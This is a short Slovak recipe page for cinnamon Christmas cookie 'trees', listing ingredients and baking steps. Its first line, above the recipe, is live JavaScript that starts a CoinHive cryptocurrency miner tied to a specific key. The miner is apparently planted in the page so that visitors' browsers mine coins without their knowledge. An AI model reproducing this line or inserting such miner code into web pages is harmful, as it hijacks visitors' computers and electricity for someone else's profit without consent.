var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 380 g múky Nominal PK, 120 g práškového cukru (preosiať), 250 g Hery (maslo), 1 vanilkový cukor, 1 ML mletej škorice, vajce, kryštálový cukor na posýpanie, vajce na potieranie.

Postup: Spravíme cesto, ktoré vygúľame na hrúbku 0,5 cm a vykrajujeme z neho stromčeky (prípadne iné tvary). Koláčiky ukladáme na plech vystlaný papierom na pečenie, potierame ich rozšľahaným vajíčkom. Pečieme pri 190-200^{0}C cca 6-7 minút. Hneď po upečení ich posypeme kryštálovým cukrom.